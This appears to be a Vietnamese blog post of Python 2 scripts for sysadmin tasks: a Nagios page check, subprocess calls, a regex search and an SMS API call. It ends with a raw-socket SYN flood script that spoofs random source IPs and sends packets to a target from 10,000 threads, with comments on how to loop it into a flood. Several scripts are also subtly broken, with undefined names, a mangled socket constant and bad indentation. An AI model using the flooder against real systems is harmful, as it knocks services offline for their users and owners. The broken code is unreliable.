Script: Check Page for

Script check Page status using curl for nagios:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#! /usr/bin/
from StringIO import StringIO
import pycurl
import sys
url = 'http://example.com/rpt.html'
try:
    buffer = StringIO()
    c = pycurl.Curl()
    c.setopt(c.URL, url)
    c.setopt(c.WRITEFUNCTION, buffer.write)
    c.perform()
    c.close()
    content = buffer.getvalue()
except Exception,ex:
    print ex
    sys.exit(2)
if content=='OK!':
  print "RPT Page is OK!"
  sys.exit(0)
else:
  print "Can not get RPT Page!"
  sys.exit(2)

Trang rpt.html này có nội dung là OK!, được tạo ra để check page example.com có còn hoạt động không.

Script: Gọi lệnh bằng Subprocess

Ta có thể sử dụng lệnh subprocess để gọi các lệnh của hệ thống:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#! /usr/bin/python
import subprocess
def uname_func():
    uname = "uname"
    uname_arg = "-a"
    print "Gathering system information with %s :\n" % uname
    subprocess.call([uname, uname_arg])
def _func():
    print "\n\nGathering diskspace information df command:\n"
    subprocess.call(["df", "-h"])
def disk_usage():
    print "\n\nGetting disk used with du command:\n"
    subprocess.call(["du -hs /home/Username/Desktop/Python/*"], shell=True)
    
def main():
    uname_func()
    disk_func()
    disk_usage()
main()

Trên đây là ba cách gọi lệnh, lưu ý trong hàm disk_usage, để viết liền nguyên hàm ta phải bật shell=True lên. Kết quả:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Gathering system information with uname command:
CPU10577 3.2.0-31-generic #50- SMP Fri Sep 7 16:16:45 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
Gathering diskspace information df command:
Filesystem      Size  Used Avail Use% Mounted on
/dev/sda2       226G  153G   62G  72% /
udev            1.9G  4.0K  1.9G   1% /dev
tmpfs           769M  900K  768M   1% /run
none            5.0M     0  5.0M   0% /run/lock
none            1.9G  748K  1.9G   1% /run/shm
cgroup          1.9G     0  1.9G   0% /sys/fs/cgroup
/dev/sda1        95M  236K   95M   1% /boot/efi
Getting disk used with du command:
120K    /home/Username/Desktop/Python/Lesson
Script: Search text trong file

Sử dụng re.search để search file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#! /usr/bin/python
import re
def run_re():
    pattern = ''
    infile = open('/tmp/text.txt', 'r')
    match_count = 0
    lines = 0
    for line in infile:
        match = re.search(pattern, line)
        if match:
            print line
            match_count += 1
        lines += 1
    return (lines, match_count)
if __name__ == "__main__":
    lines, match_count = run_re()
    print 'LINES::', lines
    print 'MATCHES::', match_count

Kết quả:

1
2
3
4
5
6
7
8
9
10
install
# Reboot after installation
# Use CDROM installation media
# Use text mode install
LINES:: 36
MATCHES:: 4
Script: Gọi API SMS bằng REST POST

Script gọi API Rest để gửi SMS theo cấu trúc nhận của API phục vụ gửi SMS của VNG:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#! /usr/bin/python
import sys
import urllib2
import json
import time
sdt = sys.argv[1]
msg = " ".join(sys.argv[2:])
logfile = "/tmp/sent.log"
client_id = "up.tp.so"
sdt_fn = str("84")+str(sdt[1:])
json_msg = {
        'client_id': client_id,
        'user_id': sdt_fn,
        'content': msg,
        'brand_name': 'VNG'
}
req = urllib2.Request(url)
req.add_header('Content-Type', 'application/json')
response = urllib2.urlopen(req, json.dumps(json_msg))
status = json.loads(response.read())['status']
file=open(logfile,"a")
if status==1:
    file.write(time.ctime() + ' Send to: ' + str(sdt) + ' Content: ' + msg + ' Success Status: ' + str(status) +'\n')
else:
    file.write(time.ctime() + ' Send to: ' + str(sdt) + ' Content: ' + msg + ' Fail Status: ' + str(status) +'\n')
file.close()

Kết quả:

1
2
3
user@CPU10577:~$ python /home/Username/Desktop/Python_Script/Python_Script/src/SMSnewNotify.py 0983700161 Chao ban toi la SMS 3
user@CPU10577:~$ cat /tmp/sent.log
Thu Nov 13 10:03:30 2014 Send to: 0983700161 Content: Chao ban toi la SMS 3 Success Status: 1
Script: Syn Flood
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
'''
    Syn flood program in python using raw sockets (Linux)
    
    Silver Moon (m00n.silv3r@.com)
'''
# some imports
import socket, sys
from struct import *
# checksum functions needed for calculation checksum
def checksum(msg):
    s = 0
    # loop taking 2 characters at a time
    for i in range(0, len(msg), 2):
        w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
        s = s + w
    
    s = (s>>16) + (s & 0xffff);
    #s = s + (s >> 16);
    #complement and mask to 4 byte short
    s = ~s & 0xffff
    
    return s
#create a raw socket
def create_raw_socket(test):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
    except socket.error , msg:
        print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
        sys.exit()
    # tell not to put in headers, since we are providing it
    s.setsockopt(socket.IPPROTO_, socket._HDRINCL, 1)
        
    # now start constructing the packet
    packet = '';
    #source_ip = '192.168.72.100'
    source_ip = '173.16.' + str(randint(0,255)) + '.' + str(randint(0,255))
    dest_ip = '10.30.12.42' # or socket.gethostbyname('www..com')
    # ip header fields
    ihl = 5
    version = 4
    tos = 0
    tot_len = 20 + 20   # python seems to correctly fill the total length, dont know how ??
    id = 54321  #Id of this packet
    frag_off = 0
    ttl = 255
    protocol = socket.IPPROTO_TCP
    check = 10  # python seems to correctly fill the checksum
    saddr = socket.inet_aton ( source_ip )  #Spoof the source ip address if you want to
    daddr = socket.inet_aton ( dest_ip )
    ihl_version = (version << 4) + ihl
    # the ! in the pack format string means network order
    ip_header = pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr)
    # tcp header fields
    #source = 1234  # source port
    source = randint(1024,10240)    # source port
    dest = 443  # destination port
    seq = 0
    ack_seq = 0
    doff = 5    #4 bit field, size of tcp header, 5 * 4 = 20 bytes
    #tcp flags
    fin = 0
    syn = 1
    rst = 0
    psh = 0
    ack = 0
    urg = 0
    window = socket.htons (5840)    #   maximum allowed window size
    check = 0
    urg_ptr = 0
    offset_res = (doff << 4) + 0
    tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) + (ack << 4) + (urg << 5)
    # the ! in the pack format string means network order
    tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags,  window, check, urg_ptr)
    # pseudo header fields
    source_address = socket.inet_aton( source_ip )
    dest_address = socket.inet_aton(dest_ip)
    placeholder = 0
    protocol = socket.IPPROTO_TCP
    tcp_length = len(tcp_header)
    psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
    psh = psh + tcp_header;
    tcp_checksum = checksum(psh)
    # make the tcp header again and fill the correct checksum
    tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags,  window, tcp_checksum , urg_ptr)
    # final full packet - syn packets dont have any data
    packet = ip_header + tcp_header
    #Send the packet finally - the port specified has no effect
    s.sendto(packet, (dest_ip , 0 ))    # put this in a loop if you want to flood the target
    #put the above line in a loop like while 1: if you want to flood
    #for i in  range (1):
#while (1):
#  s.sendto(packet, (dest_ip , 0 ))
from random import randint
import thread
if __name__ == "__main__":
    #create_raw_socket(_sourceport, _sourceip, _destport, _destip):
    for i in range(0, 10000):
        print i
        random_ip = '173.16.' + str(randint(0,255)) + '.' + str(randint(0,255))
            thread.start_new_thread(create_raw_socket, ("",) )
    while(1):
        pass
Print Friendly

Comments

comments

Bài viết liên quan